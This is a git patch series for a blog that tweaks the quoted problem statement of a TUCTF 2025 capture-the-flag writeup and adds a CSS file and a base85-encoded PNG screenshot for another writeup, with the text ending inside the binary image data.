From 156915fe2daea813e355f7d6871342d9fee202e8 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Tue, 28 Jan 2025 01:39:43 -0600 Subject: [PATCH 01/21] update tuctf2025-alien-interference problem statement quote --- src/content/blog/tuctf2025-alien-interference/index.mdx | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/content/blog/tuctf2025-alien-interference/index.mdx b/src/content/blog/tuctf2025-alien-interference/index.mdx index 54c885f..689fba6 100644 --- a/src/content/blog/tuctf2025-alien-interference/index.mdx +++ b/src/content/blog/tuctf2025-alien-interference/index.mdx @@ -15,7 +15,11 @@ import solveScript from "./solve.py?url"; -> *Zinky zoogle, zeep zop beep bop zatas zoshed?> Datas moshed? Vorp? 👨*https://alien-interference.tuctf.com +> *Zinky zoogle, zeep zop beep bop zatas zoshed? +> +>> Datas moshed? Vorp? 👨* +> +> https://alien-interference.tuctf.com The URL leads to a website with a button, which upon being clicked plays audio and displays a saucer moving around a strange background. From 318def0468c192d26fdeda99c4aaa624a07854bd Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Tue, 28 Jan 2025 02:41:20 -0600 Subject: [PATCH 02/21] tuctf2025-liber-tea-hero writeup --- .../tuctf2025-liber-tea-hero/css/styles.css | 7 + .../images/website.png | Bin 0 -> 58443 bytes .../blog/tuctf2025-liber-tea-hero/index.mdx | 140 +++++ .../blog/tuctf2025-liber-tea-hero/solve.js | 482 ++++++++++++++++++ 4 files changed, 629 insertions(+) create mode 100644 src/content/blog/tuctf2025-liber-tea-hero/css/styles.css create mode 100644 src/content/blog/tuctf2025-liber-tea-hero/images/website.png create mode 100644 src/content/blog/tuctf2025-liber-tea-hero/index.mdx create mode 100644 src/content/blog/tuctf2025-liber-tea-hero/solve.js diff --git a/src/content/blog/tuctf2025-liber-tea-hero/css/styles.css b/src/content/blog/tuctf2025-liber-tea-hero/css/styles.css new file mode 100644 index 0000000..b0b5954 --- /dev/null +++ b/src/content/blog/tuctf2025-liber-tea-hero/css/styles.css @@ -0,0 +1,7 @@ +.incorrect { + color: #e74c3c; +} + +.correct { + color: #2ecc71; +} diff --git a/src/content/blog/tuctf2025-liber-tea-hero/images/website.png b/src/content/blog/tuctf2025-liber-tea-hero/images/website.png new file mode 100644 index 0000000000000000000000000000000000000000..153fe2cafe4c66a845d64164efbe4b8e7b353845 GIT binary patch literal 58443 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 